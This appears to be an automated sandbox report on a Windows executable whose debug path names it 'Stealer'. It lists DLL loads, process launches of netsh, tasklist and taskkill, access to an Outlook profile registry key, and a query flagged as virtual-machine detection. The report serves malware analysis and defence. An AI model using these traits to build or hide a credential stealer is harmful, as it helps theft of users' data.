Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Queries memory information (via WMI often done to detect virtual machines)

Source: zyEDYRU0jw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: zyEDYRU0jw.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: zyEDYRU0jw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Xml.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Windows.Forms.pdbMZ@ source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: Stealer.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdbSystem.ni.dll source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: C:\Users\Malware\Desktop\Arcane\Str\Stealer\Stealer\obj\Release\Stealer.pdb source: zyEDYRU0jw.exe
Source:	Binary string: System.Configuration.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Net.Http.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Security.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.IO.Compression.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Xml.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: LOGLOA~1.PDBwinload_prod.pdb source: zyEDYRU0jw.exe, 00000000.00000002.2256448828.0000000005B1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: acation Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA93)W source: zyEDYRU0jw.exe, 00000000.00000002.2256448828.0000000005B31000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Drawing.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Drawing.pdb < source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.pdbMZ@ source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.IO.Compression.pdbH source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr

Source: zyEDYRU0jw.exe

Static PE information: 0xB880F835 [Fri Feb 3 01:58:13 2068 UTC]

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D3C235 push ebx; retn 0000h	0_2_00D3C32A
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D3C320 push ebx; retn 0000h	0_2_00D3C32A
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D324A9 push ebx; ret	0_2_00D324B6
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D30660 pushad ; ret	0_2_00D30672
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D32620 push esp; ret	0_2_00D3262E
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D30B87 push ebx; ret	0_2_00D30B9A
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D314DF pushad ; ret	0_2_00D314FE
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D314BF pushad ; ret	0_2_00D314DE
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D35A77 pushfd ; ret	0_2_00D35A86
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D35B31 pushfd ; ret	0_2_00D35B3E
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0F2F6 push esp; retf	0_2_06D0F2F7
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0F318 push esp; retf	0_2_06D0F329
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D058D9 pushad ; retn 0000h	0_2_06D058DA
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D058E0 pushad ; retn 0000h	0_2_06D058EA
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D09171 push ss; retn 0000h	0_2_06D09172
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06E70922 pushad ; iretd	0_2_06E70929

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
